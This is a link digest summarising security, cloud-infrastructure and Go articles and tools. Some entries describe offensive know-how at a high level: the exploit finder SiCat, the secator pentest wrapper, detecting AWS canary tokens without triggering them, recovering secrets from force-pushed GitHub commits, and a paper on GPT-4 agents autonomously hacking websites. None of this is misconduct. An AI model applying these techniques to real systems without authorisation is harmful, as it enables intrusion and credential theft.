    • Example: A poll-and-publish-to-PubSub worker. A Start() that spawned a goroutine with the caller’s context broke rule 3; the fix made Start() block and rely on ctx.Done() instead of a custom Stop() and quit channel.
    • Design advice: Keep library work synchronous and let callers choose concurrency; use context.WithTimeout per unit of work.

    Takeaway: Replace bespoke Stop methods and quit channels with a blocking Run(ctx) and let the caller own the goroutine and cancellation.

  • Do You Know if All Your Repositories Have Up-to-Date Dependencies?
    summary

    TL;DR: GitHub’s OSPO introduces Evergreen, a GitHub Action that finds repositories in an organization without Dependabot version updates configured and opens PRs to enable them.

    • Problem: Dependabot version updates need a dependabot.yml per repo, making central rollout and consistency hard.
    • Scope: Targets version updates, which are separate from Dependabot alerts and security updates for known vulnerabilities.
    • How it works: Runs on a schedule or manually, checks each repo for a Dependabot config, and opens a pull request adding one where missing.
    • Numbers: GitHub’s internal rollout found hundreds of private repos needing Dependabot enabled.
    • Details: Configuration options live in the linked github/evergreen repository.

    Takeaway: If you run many repos, schedule Evergreen org-wide to get baseline dependency update coverage without hand-editing each repo.

  • terraform-aws-atlantis: Terraform Module to Deploy Atlantis on AWS Fargate
    summary

    TL;DR: The community terraform-aws-modules module that deploys Atlantis (Terraform pull-request automation) on ECS Fargate behind an ALB.

    • Resources: ACM certificate (optional Route53 validation), ALB with listeners and security groups, ECS cluster and Fargate service, optional EFS for plan persistence, plus IAM roles and CloudWatch logs.
    • Patterns: examples/github-complete builds everything; examples/github-separate reuses an existing cluster and ALB via create_cluster = false and create_alb = false.
    • GitHub wiring: ATLANTIS_GH_USER, ATLANTIS_REPO_ALLOWLIST, and ATLANTIS_GH_TOKEN and ATLANTIS_GH_WEBHOOK_SECRET from Secrets Manager ARNs.
    • Server config: Pass atlantis.yaml via ATLANTIS_REPO_CONFIG_JSON.
    • Defaults: Image ghcr.io/runatlantis/atlantis:latest, port 4141, 2048 CPU and 4096 MiB.
    • Permissions: Examples attach AdministratorAccess to the task role.
    • Requirements: Terraform >= 1.10 and AWS provider >= 6.28 (current README).

    Takeaway: Fast path to self-hosted Atlantis; pin the image tag, scope the task role, and read the Atlantis security docs before exposing the webhook.

  • kubeconform: Fast Kubernetes Manifests Validator with Custom Resource Support
    summary

    TL;DR: kubeconform by Yann Hamon is a fast Kubernetes manifest validator inspired by kubeval, with concurrent validation, flexible schema sources and CRD support.

    • Speed: README benchmark of about 50,700 resources in 35,100 files on a 4-core laptop: about 6.7 s with -n 8 versus about 35.3 s for kubeval.
    • Schemas: Defaults to a self-updating fork of kubernetes-json-schema; -schema-location takes multiple URLs or paths, with Go-template variables like ResourceKind and ResourceAPIVersion.
    • CRDs: Add the Datree CRDs-catalog as a schema location, or convert CRDs with the bundled openapi2jsonschema script.
    • Flags: -strict, -summary, -output json|junit|tap|pretty|text, -kubernetes-version, -skip, -reject, -ignore-missing-schemas, -cache.
    • Install: brew install kubeconform, go install github.com/yannh/kubeconform/cmd/kubeconform@latest, or ghcr.io/yannh/kubeconform images for CI.
    • Limits: Schema validation only; use kubectl --dry-run=server for server-side checks.

    Takeaway: Drop-in replacement for kubeval in CI; run with -strict -summary and add the CRDs-catalog so custom resources are not silently skipped.

  • Start with the Go Standard Library
    summary

    (Could not fetch full text.)

    TL;DR: Matthew Sanabria’s post argues that Go developers should reach for the standard library first and only add third-party dependencies when stdlib genuinely falls short.

    • Source caveat: The site returned HTTP 522 on repeated attempts and the archive was not reachable; this summary is based on the title and URL only.
    • Core point: Per the title, start new Go work with standard library packages before adopting frameworks or libraries.
    • Context: Published around Go 1.22, which added method and wildcard routing to net/http, a common reason cited for dropping external routers; not verified against this article.

    Takeaway: Before adding a dependency to a Go project, check whether a stdlib package (for example net/http, log/slog, testing) already covers the need.

  • errcheck: Check for Unchecked Errors in Go Code
    summary

    TL;DR: errcheck by Kamil Kisiel is a classic Go linter that reports returned errors that are silently ignored.

    • Scope: Flags error return values that are neither assigned nor explicitly discarded with _. Analysis of assigned-but-unused errors is left to staticcheck.
    • Install: go install github.com/kisielk/errcheck@latest (current README requires Go 1.25+).
    • Usage: errcheck ./... or a package path; errcheck all for everything in GOPATH and GOROOT.
    • Flags: -blank (also flag _ =), -asserts (unchecked type assertions), -exclude <file>, -ignoretests, -ignoregenerated, -tags, -abspath, -excludeonly.
    • Exclude file: One function per line, pkg.Func or (*pkg.Type).Method, optional first-argument type suffix such as (os.Stdout); merged with a built-in list of stdlib calls that never error.
    • Exit codes: 1 when issues are found, 2 on other failures.
    • Integrations: Emacs go-errcheck.el and vim-go :GoErrCheck; it also exposes a go/analysis analyzer.

    Takeaway: Run it in CI (it is also bundled in golangci-lint as errcheck) and consider -blank to catch lazy _ = discards.

  • secator: The Pentester’s Swiss Knife
    summary

    TL;DR: secator from FreeLabz is a Python task and workflow runner that wraps around 45 offensive security tools behind one CLI with unified inputs and output schema.

    • Tools: nmap, naabu, httpx, katana, ffuf, feroxbuster, nuclei, trivy, subfinder, gitleaks, trufflehog, wpscan and more, grouped by category.
    • Commands: secator x <tool> runs a task, secator w <workflow> a workflow (for example url_crawl), secator s <scan> a scan (for example host).
    • Install: pipx install secator, pip, an install script, Docker (freelabz/secator) or Docker Compose. Tools auto-install on first use unless security.autoinstall_commands is false; or run secator install tools.
    • Distributed: Optional Celery-based distributed execution.
    • Results: -o/-f output options, secator query to search past reports, and a MongoDB addon.
    • Extras: Shell completion for bash, zsh and fish; usable as a library. BSD-style license.

    Takeaway: Good for standardizing recon pipelines across a team; run it in a container since it installs many third-party binaries on demand.

  • (Almost) Every Infrastructure Decision I Endorse or Regret After 4 Years Running Infrastructure at a Startup
    summary

    TL;DR: Jack Lindamood (February 2024) reviews four years of infrastructure choices at a startup (apparently Cresta), grading each AWS, Kubernetes and SaaS decision as endorsed or regretted.

    • Endorsed AWS: AWS over GCP, EKS, RDS (data loss is company-ending), ElastiCache Redis, ECR over quay.io, AWS VPN with Okta, Control Tower Account Factory for Terraform.
    • Endorsed K8s stack: Karpenter, Helm v3, Flux GitOps, ExternalSecrets, ExternalDNS, cert-manager, Nginx ingress.
    • Endorsed tooling: Terraform over CloudFormation, Atlantis over Terraform Cloud, Renovate over Dependabot, PagerDuty, Notion, Linear, Slack, Go for services.
    • Caveats: GitHub Actions is good but self-hosted runners are buggy; pg-diff migrations work but schema changes stay risky; Bazel is likely overkill for Go.
    • Regrets: EKS managed add-ons (switched to Helm), AWS premium support (costs about an engineer), Datadog pricing for K8s and GPU, shared databases across apps, Google Workspace as IdP instead of Okta early, SealedSecrets, Bottlerocket, not adopting OpenTelemetry early, not using Lambda more.
    • Process: Post-mortem nudges via Slack bot, biweekly alert reviews, monthly cost meetings.

    Takeaway: A practical shortlist for small platform teams: managed data stores, Karpenter, GitOps, External Secrets, and OpenTelemetry from day one to avoid vendor lock-in.

  • How to Be IR Prepared in AWS
    summary

    (Could not fetch full text.)

    TL;DR: Cado Security’s February 2024 guide on which AWS logs to enable ahead of time so incident responders have evidence when a breach happens.

    • Source caveat: The URL now redirects to a Darktrace product page (Darktrace acquired Cado) and the archive was unreachable; this is based on the tl;dr sec 219 summary and Cado blog listings.
    • Premise: Shift from whether a breach happens to when, and prepare logging before it.
    • Services covered: CloudTrail, EC2, Amazon VPC (flow logs), Lambda, CloudFront, RDS and CloudWatch.
    • Per service: What each log records, where it is delivered, how to enable it, and how to access it.
    • Series: Companion posts cover Azure and Google Cloud.

    Takeaway: Audit your accounts now for CloudTrail (including data events where needed), VPC flow logs and service logs, since they cannot be recovered after an incident.

  • How to Be IR Prepared in Azure
    summary

    (Could not fetch full text.)

    TL;DR: Cado Security’s February 2024 companion guide on preparing Azure logging for incident response, explaining which logs to enable and how.

    • Source caveat: The Cado blog now redirects to Darktrace after the acquisition and the archive was unreachable; this is based on Cado’s own description and related cheat-sheet pages.
    • Goal: Demystify Azure’s sometimes complicated logging methods.
    • Content: Which logs should be enabled and how to enable them, plus how to access and export them per Cado’s Azure IR cheat sheet.
    • Series: Part of a set with AWS and Google Cloud editions.

    Takeaway: Verify that Azure Activity logs, Entra ID sign-in and audit logs, and resource diagnostic logs are retained and exported before you need them.

  • Images as Code: The Pursuit of Declarative Image Builds
    summary

    TL;DR: Chainguard CTO Matt Moore (creator of distroless and Bazel rules_docker) argues for declarative Images as Code builds and explains how that led to apko and Chainguard Images.

    • Problem: Dockerfile RUN is imperative and arbitrary, which breaks reproducibility claims and complicates multi-tenant and multi-arch builds.
    • History: Bazel rules_docker offered every Dockerfile directive except RUN and produced the first generally reproducible image builds.
    • apko: Declaratively assembles an image from scratch from a list of APK packages, using a pure Go apk-tools library so it runs on any host; used with Wolfi.
    • SBOM angle: Images built with curl, tar or bash are invisible to SCA tools; distroless needed a package database added to be scannable.
    • Supply chain: cosign signing plus SBOM and SLSA attestations.
    • Ecosystem: Last-mile builders ko, jib, buildpacks; Terraform providers for ko, apko, cosign and OCI.
    • Claim: 100% of Chainguard Images are now built declaratively.

    Takeaway: Prefer declarative builders (ko, apko, jib) over RUN-heavy Dockerfiles to get reproducible, scannable images with accurate SBOMs.

  • Fargate Is Not Firecracker
    summary

    TL;DR: Former AWS EKS team member Justin Garrison argues that AWS Fargate does not run tasks in Firecracker microVMs, contrary to common belief, and relies on EC2-style virtualization.

    • Evidence: Firecracker docs only say it was built to improve services like Lambda and Fargate; Lambda historically used per-customer EC2 instances for isolation.
    • 2020 blog: AWS’s Fargate post was mostly about moving from Docker to containerd and only said Fargate can use a Firecracker runtime by swapping the containerd plugin.
    • Why not: The author attributes it more to organizational politics at AWS scale than technical difficulty.
    • Insider note: He worked on AWS containers and EKS from April 2020 to January 2024 and says staff avoided correcting the Firecracker assumption.
    • Isolation: Customer isolation is EC2 hardware virtualization; Fargate does not remove noisy neighbors or give per-container hardware isolation.
    • Ops tradeoff: Fargate shifts work elsewhere, such as EBS or GPU attachment, daemons as sidecars, and higher cost than EC2.
    • Source caveat: The architecture claim is the author’s inference, not an AWS document.

    Takeaway: Do not base threat models on Fargate being a microVM per task; treat it as managed EC2 isolation and weigh its cost and operational limits honestly.

  • The Attacker’s Guide to Azure AD Conditional Access
    summary

    (Could not fetch full text.)

    TL;DR: Daniel Chronlund’s January 2022 post looks at Azure AD (Entra ID) Conditional Access from an attacker’s viewpoint, warning that a poorly understood policy set gives a false sense of security.

    • Source caveat: The page renders client-side and returned only the blog title; this is based on the title and secondary references found by web search.
    • Quoted theme: If you do not understand how Conditional Access works, it might bring you a false sense of security.
    • Attack surface cited secondhand: Legacy authentication that bypasses MFA when not blocked, and excluded users and apps that fall outside policies.
    • Author: Microsoft security MVP known for a Conditional Access policy design baseline and PowerShell/Graph deployment scripts on GitHub.

    Takeaway: Regularly audit Conditional Access for exclusions, unblocked legacy auth and uncovered apps or platforms, since attackers look for exactly those gaps.

  • The Two-Headed SIEM Monster
    summary

    TL;DR: Omer Singer (February 2024) argues that many enterprises now run two SIEMs, the incumbent Splunk plus a side SIEM from an XDR or cloud vendor, and that this split hurts security operations.

    • New heads: XDR vendors (CrowdStrike bought Humio for about $400M, SentinelOne bought Scalyr for under $200M) and cloud providers, notably Microsoft Sentinel with subsidized Azure and O365 ingestion.
    • Why Splunk stays: Shared use by IT and DevOps, fraud and compliance use cases, mature analytics, leadership dashboards, egress costs, long-tail integrations, SPL skills.
    • Detection risk: Attacks span email, endpoint, cloud and network, so each SIEM sees only part.
    • Content sprawl: Rules in separate repos and languages; confirming zero-day coverage is manual.
    • Ops cost: Duplicate data models and retention, swivel-chair investigations, playbooks and ML that do not port.
    • Advice: Talk to peers running multiple SIEMs and weigh savings against fidelity, rule management, data quality and automation impact.

    Takeaway: Before adopting a cheap bundled side SIEM, model the cost of split detections and investigations, not just ingestion pricing.

  • How to Enforce Creation of Roles in a Specific Path: Use IAM Role Naming in Hierarchy Models
    summary

    TL;DR: AWS Security Blog post showing how to use IAM role paths (for example /security/, /D1/) to separate central IT roles from developer roles and enforce guardrails by path instead of by name.

    • Protected paths: Central roles live under /iam/, /security/, /network/.
    • SCP 1: Denies iam:CreateRole, iam:AttachRolePolicy, iam:PutRolePermissionsBoundary and other writes on those paths, exempting callers via ArnNotLike on aws:PrincipalArn for /iam/. New roles in the path are covered automatically.
    • SCP 2: Denies s3:* on a sensitive bucket unless the caller ARN is under /security/.
    • Self-service: Dev teams may create roles only in their path (for example arn:aws:iam::...:role/D1/*) and only with iam:PermissionsBoundary set to an approved boundary.
    • Detection: CloudTrail Lake query and an EventBridge rule on CreateRole in /iam/ with SNS alerting.
    • Limits: A role’s path cannot be changed after creation, role names must be unique across paths, and deep hierarchies get hard to maintain.

    Takeaway: Plan a role path scheme early; path-based SCPs and boundaries scale better than name-pattern guardrails, but migrating existing roles means recreating them.

  • Hidden GitHub Commits and How to Reveal Them
    summary

    TL;DR: Neodyme shows that force-pushed commits are not deleted on GitHub and can be recovered through the public Events API, exposing secrets developers thought they had removed.

    • Problem: git reset --hard HEAD^ plus git push -f hides a commit from branch history, but GitHub keeps it and it stays reachable by SHA.
    • Method: The repo events endpoint /repos/{owner}/{repo}/events lists PushEvents including the pre-force-push SHA, which can be opened directly by URL.
    • Private to public: These events persist when a private repo is made public.
    • Short SHAs: The post notes commits can sometimes be found by brute-forcing the first four hash characters.
    • Demo: neodyme-labs/github-secrets-demo shows a commit absent from the UI but recoverable.
    • Tool: Released github-secrets to scan public repos for dangling commits.
    • Mitigation: Treat any pushed secret as compromised and rotate; full removal including caches requires GitHub Support.

    Takeaway: Force-pushing is not secret removal. Rotate the credential immediately and scan your own public repos for dangling commits.

  • github-secrets: Find Secrets in Dangling or Force-Pushed GitHub Commits
    summary

    TL;DR: Neodyme’s github-secrets is a Python 3 script that scans GitHub repositories for dangling or force-pushed commits that may contain secrets, companion to their hidden-commits blog post.

    • Requirements: Python 3 and requests; clone and run.
    • Token: Optional fine-grained PAT with no permissions, exported as GITHUB_ACCOUNT_TOKEN, to raise API rate limits.
    • Single repo: python3 github_scanner.py <user/repo>.
    • Bulk: -u <user> for all user repos, -o <org> for an organization, -t [N] for trending repos (default 100).
    • Rate limits: README includes curl commands to check remaining API quota.
    • Limits: The README does not document detection logic or output format; the method (Events API PushEvents) is described in the blog post.

    Takeaway: Run it against your own org with -o to find secrets left in force-pushed commits, then rotate anything it surfaces.

  • Security Playbook for Compromised AWS Account Credentials
    summary

    TL;DR: An AWS Samples incident response playbook for compromised IAM credentials, structured by NIST-style phases from preparation through post-incident review.

    • Preparation: Open an AWS Support security case with timeline and suspected ARNs, notify the account team, verify the alternate security contact.
    • Detection: GuardDuty IAM findings (for example UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B, Stealth:IAMUser/CloudTrailLoggingDisabled), billing spikes, the IAM credential report, unfamiliar roles and trust policies, the AWSCompromisedKeyQuarantineV2 policy, IAM Access Analyzer findings.
    • Analysis: CloudTrail Event history by event name (ConsoleLogin, AssumeRole, GetFederationToken), by resource, and by access key ID; IAM Access Advisor; Detective and Security Hub. No Athena queries are included.
    • Containment: Disable console access and deactivate keys, revoke role sessions, swap EC2 security groups to an isolation group, block IPs in bucket policies. For Identity Center, disable the user and add deny policies using identitystore:userId and aws:TokenIssueTime, or an SCP.
    • Eradication: Remove attacker resources in all regions (EC2 including stopped, AMIs, EBS snapshots, Lambda functions and layers) after backing up evidence; scan with Inspector.
    • Recovery: Restore from clean snapshots and S3 versions, rebuild from trusted sources, possibly in a new account; patch via SSM Patch Manager.

    Takeaway: Adapt it into your own runbook now, especially the Identity Center session-revocation deny policy, which is easy to get wrong under pressure.

  • AWSZeroTrustPolicy: Auto-Generate Least-Privilege Policies from User Activity
    summary

    TL;DR: CloudDefense.AI’s AWSZeroTrustPolicy is a work-in-progress FastAPI service that reads CloudTrail logs from S3 and generates least-privilege IAM policies from observed activity.

    • Input: CloudTrail logs in per-region S3 buckets, a days lookback, and AWS credentials or a role ARN with external ID.
    • Stack: Python 3.6+, FastAPI, Uvicorn and a running Redis server (apparently for caching service-action mappings).
    • Run: redis-server, then uvicorn app:app --reload --host 0.0.0.0, then POST to http://localhost:8000/run with accountType, accessKey, secretKey, roleArn, accountId, days, bucketData.
    • Output: The API returns time taken; the README does not document the policy format or storage.
    • Caveats: Marked work in progress, README contains copy-pasted Falco text, and the example sends long-lived keys in a request body to an endpoint bound on 0.0.0.0.

    Takeaway: An interesting idea but immature; IAM Access Analyzer policy generation does the same job natively and is safer to start with.

  • New EKS Access Management and Pod Identity Features: A Security Analysis
    summary

    TL;DR: Wiz analyses the late-2023 EKS access entries (cloud-to-cluster) and Pod Identity (cluster-to-cloud) features, concluding they help but add new attack surface and audit blind spots.

    • Access complexity: In API_AND_CONFIG_MAP mode, effective permissions are the union of aws-auth mappings, access entries and attached access policies, so Kubernetes RBAC alone does not show who is admin.
    • Token theft: A pod with sensitive hostPath mounts or read access to /var/lib/kubelet/pods can steal another pod’s Pod Identity token and call the agent for STS credentials.
    • Default SA risk: Associating a Pod Identity with a default service account hands credentials to any pod that omits a service account.
    • Component surface: The eks-pod-identity-agent DaemonSet uses hostNetwork with open ports and a privileged init container.
    • Blind spots: Admission controllers and kube-audit logs do not see access entry creation or policy association; these appear only in CloudTrail.
    • Recommendations: Treat access-entry permissions as high privilege, avoid identities on default SAs, set automountServiceAccountToken: false, block /var/lib/kubelet mounts via admission policy, separate risky workloads by node, and correlate CloudTrail with K8s audit logs.

    Takeaway: Add CloudTrail detections for CreateAccessEntry and AssociateAccessPolicy, and enforce admission rules against kubelet hostPath mounts before rolling out Pod Identity.

  • Engineering a SIEM Part 1: Why Did We Need to Build Our Own SIEM?
    summary

    TL;DR: Part 1 of Rippling’s series explains why its security team built an in-house SIEM on a security data lakehouse after evaluating Panther and Sumo Logic.

    • Vendor gap: A multi-week Panther PoC showed they would still need many custom integrations and detections for Rippling’s in-house tools.
    • Cost problem: License-driven SIEMs push teams to drop log sources, creating blind spots and slower investigations.
    • Scale targets: 2-3 TB of logs per day, detection latency under 10 minutes, retention well beyond the typical 30-180 days.
    • Engineering targets: Everything as code with CI/CD, SQL instead of a proprietary language, semi-structured JSON queries without reindexing, RBAC and tamper-resistant logs.
    • Operations: Onboard any new log source in 3 days, spend about 3-5 hours per week on ops, alert on pipeline failures.
    • Reuse: Leverage the data engineering team’s existing lakehouse instead of re-ingesting product data.
    • Architecture: Deferred to part 2.

    Takeaway: A useful requirements checklist for anyone weighing build vs buy for a SIEM; the decisive factors were custom log sources and volume-based cost.

  • AI Monitoring Employees for ‘Thought Crimes’ in Apps Like Slack and Zoom
    summary

    TL;DR: 9to5Mac reports on Aware, an AI vendor whose models analyze employee messages in Slack, Teams and Zoom for sentiment and policy violations, and on the privacy concerns it raises.

    • What it does: Analyzes text and images for sentiment, and flags bullying, harassment, discrimination, noncompliance, pornography and nudity.
    • Modes: Aggregate sentiment reporting that Aware says is anonymous, plus a tool that can flag individual posters.
    • Customers: Reported users include Chevron, Delta, Starbucks, T-Mobile and Walmart.
    • Scale: Aware claims more than 20 billion interactions analyzed across over three million employees.
    • Critics: Jutta Williams (Humane Intelligence) calls it thought crime; Amba Kak (AI Now Institute) warns of a chilling effect and notes FTC, DOJ and EEOC concerns.
    • Privacy risk: Aggregated data can be de-anonymized when sliced by age, location, division or tenure.

    Takeaway: Assume workplace chat is monitored and analyzed; security teams deploying such tools should scope them tightly and involve legal and privacy review.

  • SiCat: The Useful Exploit Finder
    summary

    TL;DR: SiCat by justakazh is a Python exploit finder that searches multiple public exploit and vulnerability sources by keyword or from Nmap results.

    • Sources: Exploit-DB, NVD, CVE.org, GitHub PoCs, Nuclei templates, Wordfence CVE templates, Metasploit modules and Nmap NSE scripts.
    • Input: -k <keyword>, -nmap <target> for a live scan, -nmap-file <file> for existing Nmap XML, -web <url> for Wappalyzer tech detection.
    • Source selection: -edb, -nvd, -cve, -nuclei, -wcve, -gh, -msf, -nse; -l caps results per module (default 25).
    • Output: -o <file> -ot text|json, or -r for a sortable HTML report; --web-interface starts a GUI on port 5000.
    • Install: install.sh or install.bat, Docker build, or pip install .. A GitHub token in ~/.sicat/config.json avoids rate limits.

    Takeaway: Handy for quickly mapping Nmap service versions to known public exploits during authorized assessments.

  • Offensive Lab Environments (Without the Suck)
    summary

    (Could not fetch full text.)

    TL;DR: Travis Kaun (TrustedSec, February 2024) describes building disposable Active Directory lab environments quickly and cheaply for testing payloads and simulating attacks.

    • Source caveat: The fetch tool refused the page; this is based on web search snippets and TrustedSec’s top-blogs listing.
    • Hardware: A small workstation costing about $300.
    • Stack: Hyper-V on Windows 11 with the AutomatedLab tool handling deployment.
    • Goal: Dynamic, repeatable AD labs that can be rebuilt instead of hand-maintained.
    • Reception: Ranked sixth in TrustedSec’s most-read blogs of 2024; also given as a talk at Wild West Hackin’ Fest Deadwood 2024.

    Takeaway: If your test lab is a fragile hand-built VM set, AutomatedLab on Hyper-V is a low-cost way to make AD environments reproducible.

  • AI for Security: Eight Areas of Opportunity
    summary

    TL;DR: Menlo Ventures (Venky Ganesan, Rama Sekhar, Sam Borja, February 2024) lists eight security areas where they see generative AI creating startup opportunities, with example companies.

    • Vendor risk and compliance: Auto-filling security questionnaires (Dialect).
    • Security training: Dynamic, threat-realistic training (Immersive Labs, Riot), citing the MGM and Caesars breaches.
    • Pentesting: AI-assisted scanning, exploitation and reporting (Run Sybil, BugBase Pentest Copilot).
    • Anomaly detection: Telemetry-monitoring agents (Abnormal Security), with false positives still high.
    • Synthetic content: Detecting AI-generated identities (Deduce, DeepTrust); 76% of companies believe they extended credit to synthetic customers.
    • Code review: Making SAST shift-left practical (Semgrep, Mobb).
    • Dependencies: Supply chain risk (Socket, 70+ risk signals); 96% of codebases contain open source per Synopsys.
    • SOAR: Autonomous alert triage and investigation (Dropzone AI).

    Takeaway: A VC market map rather than technical guidance; useful for scanning which AI security product categories exist.

  • LLM Agents Can Autonomously Hack Websites
    summary

    TL;DR: Paper by Richard Fang, Rohan Bindu, Akul Gupta, Qiusi Zhan and Daniel Kang (UIUC, February 2024) showing GPT-4-based agents can autonomously exploit website vulnerabilities without prior knowledge of the bug.

    • Capability: Agents performed blind database schema extraction and SQL injection with no human feedback.
    • Models: GPT-4 succeeded; the abstract states existing open-source models were not capable.
    • No prior knowledge: The agent did not need to be told the vulnerability in advance.
    • Real world: GPT-4 found vulnerabilities in live websites in the wild.
    • Method: Agents with tool use (browser/API access, documents, planning), per the paper.
    • Source caveat: Success rates and cost figures are in the full paper, not the abstract page read here.

    Takeaway: Autonomous exploitation of common web bugs by frontier LLMs is real; basic input-validation flaws will be found faster and cheaper than before.

  • Detecting Manual AWS Actions: An Update!
    summary

    TL;DR: Arkadiy Tetelman updates his 2019 ClickOps detection: instead of matching console user agents, alert on any mutating CloudTrail event from a human session identified by an email-based role session name.

    • Invariant: Humans reach AWS only via Okta and AssumeRoleWithSAML, no IAM users; Okta sets the role session name to the employee email.
    • Trigger: Alert when session name ends in the company domain, readOnly is false, and the event is not on a filter list. Covers console and CLI.
    • Bypass detection: Alert on AssumeRole where an email session name is swapped for something else (role chaining or self-assumption).
    • Why changed: The 2019 user-agent approach was misguided; readOnly replaces List/Get/Describe prefix matching.
    • Filter list: Hardcoded events mislabeled as mutating or too noisy (for example glue:StartJobRun); some like signin:ConsoleLogin and sts:AssumeRole deserve their own alerts.
    • Caveats: readOnly is sometimes wrong, the list is environment-specific, older roles may still allow self-assumption, and the invariant needs company-wide workflow buy-in.

    Takeaway: If you federate through an IdP, enforce email session names and alert on human write actions to keep production IaC-only.

  • Detecting AWS Canaries Without Detonating Them
    summary

    TL;DR: Truffle Security shows that AWS canary tokens (such as Thinkst Canarytokens) can be identified offline from the access key ID alone, without calling AWS and triggering the alert.

    • Old method: GetCallerIdentity reveals the account but fires the canary and logs to CloudTrail.
    • Offline decode: Building on Tal Be’ery’s research, strip the key prefix, base32-decode and bitmask to recover the AWS account ID, then compare against known canary accounts.
    • Dataset: Sampled about 500 canaries from public GitHub, found roughly six unique accounts; example code lists seven account IDs.
    • TruffleHog: Canary detection is now built in, so scans flag canaries without verifying them; check a file with trufflehog filesystem <file>.
    • Limits: Older Thinkst accounts and Thinkst paid offerings may not be covered; new accounts appear over time.

    Takeaway: Attackers can skip free canary keys, so defenders should not rely on public canary services alone; self-hosted canaries in your own accounts are harder to fingerprint.

  • Terracognita: Reverse Terraform, Generate IaC from Existing Cloud Resources
    summary

    TL;DR: Terracognita by Cycloid is an MIT-licensed reverse-Terraform tool that reads existing cloud resources and generates Terraform HCL and state.

    • Providers: AWS (provider v4.9.0), AzureRM (v3.20.0), Google (v4.9.0) and vSphere (v2.2.0); built against Terraform v1.1.9.
    • Usage: terracognita aws --hcl out.tf --tfstate out.tfstate, then terraform init and terraform plan to verify.
    • Filtering: --include and --exclude by resource type (for example aws_instance).
    • Modules: --module <path> generates a module, --module-variables picks attributes to expose as variables; the target path is overwritten after confirmation.
    • Install: Release binaries, brew install terracognita, AUR, make install (Go 1.17+), or the cycloid/terracognita Docker image.
    • Status: About 2.4k stars and 84 open issues; pinned, aging provider versions suggest limited recent maintenance.

    Takeaway: Useful for a one-off import of ClickOps infrastructure, but expect to clean up output; for current providers consider Terraform 1.5+ import blocks with -generate-config-out.

  • Best Practices for Managing Terraform State Files in AWS CI/CD Pipelines
    summary

    TL;DR: AWS DevOps Blog walkthrough of storing Terraform state in S3 with DynamoDB locking and running plan and apply from CodeBuild, using a sample Lambda deployment.

    • Why remote: Local state is hard to share, stores secrets in plain text, and can be lost or corrupted.
    • Backend: S3 bucket with versioning, server-side encryption (AES256 or SSE-KMS) and restrictive IAM or bucket policies.
    • Locking: DynamoDB table with a LockID primary key.
    • Layout: One bucket per account, prefixes per environment and project.
    • Pipeline: CodeCommit repo, two CodeBuild projects (plan and apply) with buildspecs, Lambda as the sample app.
    • Sample names: Bucket tfbackend-bucket, key terraform.tfstate, region eu-central-1, lock table tfstate-lock.
    • Steps: Clone the aws-samples repo, terraform init/plan/apply the bootstrap, set backend.tf, run the CodeBuild projects, verify state and lock, terraform destroy to clean up.

    Takeaway: Standard baseline; note that Terraform 1.10+ supports native S3 locking (use_lockfile), which can replace the DynamoDB table.

  • How to Automate Rule Management for AWS Network Firewall
    summary

    TL;DR: AWS Security Blog post presenting anfw-automate, a solution where spoke accounts define their own AWS Network Firewall rules in S3 config files and a central account validates and applies them.

    • Spoke side: S3 bucket with one config file per region; S3 events and VPC deletion events from CloudTrail go via EventBridge to the central account.
    • Central side: EventBridge custom bus triggers a RuleCollect Lambda that validates config and converts it to Suricata rules, an SQS FIFO queue (with DLQ), then a RuleExecute Lambda that updates the firewall policy, rule groups and IP sets.
    • Validation: VPC must exist, S3 object version must be latest, no TLD-only rules, no any destinations, pass rules only, CIDRs mapped to IP set variables.
    • Reserved keywords: sid, priority and metadata are reserved for admins and the solution.
    • Deployment: CDK bootstrapping of resource, central and delegated admin accounts; CodePipeline deploys LambdaStack, ServerlessStack and a StackSet to spokes.
    • Limits: One config file per region per account, back-off for ThrottlingException, firewall needed in every region and AZ used by spokes, VPCs must attach to Transit Gateway.
    • Claim: Rule updates go from minutes to seconds.

    Takeaway: A reference design for self-service egress allowlisting in a centralized inspection VPC; the validation rules are worth copying even if you build your own.

  • Wrangle Your Alerts with Open-Source Falco and the gcpaudit Plugin
    summary

    TL;DR: Google Cloud blog (February 2024) introducing Falco’s gcpaudit plugin, which turns GCP audit logs into Falco events so you can write Falco rules for cloud control-plane threats.

    • Pipeline: A Cloud Logging sink sends critical audit events to a Pub/Sub topic; the plugin subscribes, filters and enriches them for Falco rules.
    • Services covered: Compute Engine, KMS, Cloud Armor, IAM, Cloud Storage, BigQuery, Cloud SQL, Pub/Sub, Cloud Logging and Cloud Functions.
    • Rules: Built around MITRE ATT&CK, for example alerting on VM deletion or database backup removal.
    • Outputs: stdout, syslog, HTTP(S), gRPC by default; FalcoSidekick adds 60+ destinations including SIEMs like Chronicle.
    • Deployment: Run one plugin instance per environment, on a VM or as a GKE pod, not per node. Falco cannot run on GKE Autopilot.
    • Setup: Detailed steps in the falcosecurity/plugins gcpaudit/walkthrough.md.

    Takeaway: If you already run Falco, gcpaudit gives cheap GCP audit-log detections in the same rule language without a full SIEM.

  • podinfo: Go Microservice Template for Kubernetes
    summary

    TL;DR: podinfo by Stefan Prodan is a tiny Go web app that demonstrates Kubernetes microservice best practices and is used by Flux and Flagger for end-to-end tests and workshops.

    • Runtime features: Readiness and liveness probes, graceful shutdown, file watching for secrets and configmaps, structured logging with zap, viper config.
    • Observability: Prometheus metrics and OpenTelemetry tracing.
    • Testing aids: Fault injection (random errors and latency), delay, status, echo, panic endpoints over HTTP and gRPC, plus JWT, Redis cache and WebSocket endpoints.
    • Security: SPIFFE mTLS with X.509 SVIDs, cosign-signed multi-arch images with SBOM and SLSA provenance, govulncheck scanning.
    • Install: Helm (GitHub Pages or OCI on ghcr.io), kubectl apply -k Kustomize, Timoni OCI module, or docker run.

    Takeaway: The go-to dummy workload for testing GitOps, service mesh, autoscaling or progressive delivery setups, and a clean reference for a production-ready Go service.

  • Go Enums Suck
    summary

    (Could not fetch full text.)

    TL;DR: A zarl.dev post arguing that Go lacks real enums, since iota constants are just integers, and proposing a generated, type-safe pattern that later became the goenums code generator.

    • Source caveat: The page is JavaScript-rendered and returned no text; this is based on search snippets, aggregator pages and the goenums project.
    • Problem: iota-based constants are plain integers underneath, with no exhaustiveness, validation or rich behavior.
    • First proposal: JSON marshalling plus a container struct to make values behave like enums in other languages, driven by a config file.
    • Follow-up: In Go Enums Still Suck, after Hacker News and Lobsters feedback (for example that stringer covers part of this), the author replaced the config with go/ast parsing and extra properties in comments.
    • Tool: goenums generates type-safe enum implementations from simple constant declarations; docs at zarldev.github.io/goenums.

    Takeaway: If you want stronger enums in Go, try stringer for basics or goenums for validation, parsing and JSON support generated from constants.

31.01.2024

